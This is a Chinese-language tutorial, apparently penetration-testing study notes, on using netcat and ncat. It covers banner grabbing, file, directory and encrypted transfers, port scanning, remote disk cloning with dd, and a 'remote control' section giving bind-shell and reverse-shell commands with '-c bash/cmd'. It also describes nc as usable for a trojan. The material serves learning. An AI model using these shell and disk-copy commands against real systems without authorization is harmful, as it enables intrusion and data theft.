1. NC
1.1概述
1.1.1 优点:
1)网络工具中的瑞士军刀
2)侦听模式/传输模式。
3)可代替telnet获取banner信息。
4)传输文件/目录。
5)传输文本信息。
6)加密传输文件。
7)远控/木马。
8)加密所有流量。
9)充当流媒体服务器。
10)远程克隆硬盘(电子取证)。
1.1.2 缺点:
1)缺乏加密和身份验证能力。
2)NCAT可弥补NC的不足。
3)不同平台/系统的NC参数不尽相同。
1.2 基本参数
-h :获取帮助。
-v :显示详细信息。
-n :不进行DNS解析IP。
-l :侦听端口。
-p :指定端口。
-q :执行完成关闭连接。
-z :只扫描,不进行交互。
-c :指定shell。
1.3 用法
1.3.1 Telnet获取banner信息
命令:nc -nv <IP> <端口>
1.3.2 传输文本
服务端命令:nc -lp <IP> <端口>
客户端命令:nc -nv <IP> <端口>
1.3.3 电子取证(不做修改的信息收集)
客户端命令:收集指令 | nc -nv <IP> <端口> 注:-q表示完成后n秒断开连接
服务端命令:nc -lp <IP> <端口> 注:当收集大量信息时可用>或>>保存至文件。
1.3.4 文件传输
正向:客户端向服务端传输文件。
服务端命令: nc -lp <端口> > 文件
客户端命令: nc -nv <IP> <端口> < 文件
反向:客户端从服务端接收文件。
服务端命令: nc -lp <端口> < 文件
客户端命令: nc -nv <IP> > 文件
1.3.5 目录传输
反向:客户端从服务端接收目录。
服务端命令: tar -cvf – 目录 | nc -lp <端口>
客户端命令: nc -nv <IP> 端口 | tar -xvf -
正向:客户端向服务端传输目录。
服务端命令: nc -lp <端口> | tar -xvf -
客户端命令:tar -cvf – 目录 | nc -nv <IP> 端口
1.3.6 加密传输
正向:客户端向服务端加密传输文件。
服务端命令:nc -lp 端口 | mycrypt –flush -Fbqd -a rijndael-256 -m ecb > 文件
客户端命令:mycrypt –flush -Fbq -a rijndael-256 -m ecb < 文件 | nc -nv <IP> 端口
反向:客户端从服务端加密接收目录。
服务端命令: mcrypt –flush -Fbq -a -rijndael-256 -m ecb < 文件| nc -lp <端口>
客户端命令:nc -nv <IP> 端口 | mcrypt –flush -Fqbd -a rijndael-256 -m ecb >文件
1.3.7 视频流传输
服务端命令:cat 流媒体文件| nc -lp 端口
客户端命令:nc -nv <IP> 端口 | mplayer -V0 -x11 -cache 3000 -
1.3.8 端口扫描
探测TCP端口(默认):nc -nvz 端口段
探测UDP端口(有bug):nc -nvzu 端口段
1.3.9 硬盘克隆
块级别备份,电子取证远程复制内存或硬盘。
客户端命令:dd if =/dev/sda | nc -nv <IP> 端口
服务端命令:nc -lp 端口 | dd of=/dev/sdb
1.3.10 远程控制
正向:客户端控制服务端。
服务端命令: nc -lp 端口 -c bash/cmd
客户端命令:nc -nv <IP> 端口
反向:服务端控制客户端。
服务端命令: nc -lp 端口
客户端命令:nc -nv <IP> 端口 -c bash/cmd
1.3.11 通过NCAT实现传输加密
Ncat为Nmap套件之一,为nc的增强版。
简单举例,也可以双向。
客户端命令:ncat -nv 192.168.114.132 1111 --ssl
服务端命令:ncat -c bsh –allow <源IP> -vnl 端口 –ssl